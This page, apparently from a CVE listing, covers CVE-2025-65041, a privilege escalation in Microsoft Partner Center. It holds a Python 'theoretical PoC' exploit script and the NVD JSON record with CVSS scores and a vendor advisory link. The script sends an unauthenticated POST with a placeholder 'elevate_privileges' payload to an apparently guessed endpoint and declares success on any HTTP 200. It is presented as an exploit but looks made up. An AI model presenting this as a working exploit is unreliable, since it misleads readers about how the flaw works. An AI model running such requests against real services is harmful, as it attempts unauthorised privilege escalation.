CVE-2025-65041

# CVE-2025-65041 PoC - Microsoft Partner Center Privilege Escalation # Note: This is a theoretical PoC for educational purposes only import requests import json TARGET_URL = "https://partner.microsoft.com/api/v1/" def exploit_privilege_escalation(): """ Attempt to exploit improper authorization in Microsoft Partner Center. This PoC demonstrates the concept of privilege escalation through authorization bypass. """ headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Step 1: Attempt to access privileged endpoint without proper authorization # The vulnerability allows bypassing authorization checks payload = { "action": "elevate_privileges", "user_id": "attacker_controlled", "role": "admin" } try: # This request may bypass authorization due to the vulnerability response = requests.post( f"{TARGET_URL}users/privileges", headers=headers, json=payload, timeout=30 ) if response.status_code == 200: result = response.json() print(f"[!] Exploitation successful!") print(f"[*] Response: {json.dumps(result, indent=2)}") return True else: print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-65041 - Microsoft Partner Center Privilege Escalation") print("=" * 60) exploit_privilege_escalation()

{"cve": {"id": "CVE-2025-65041", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:01.597", "lastModified": "2026-01-06T16:05:51.513", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper authorization in Microsoft Partner Center allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:partner_center:-:*:*:*:*:*:*:*", "matchCriteriaId": "A400A527-15CD-4F9D-A42D-A453ABE04769"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-65041", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}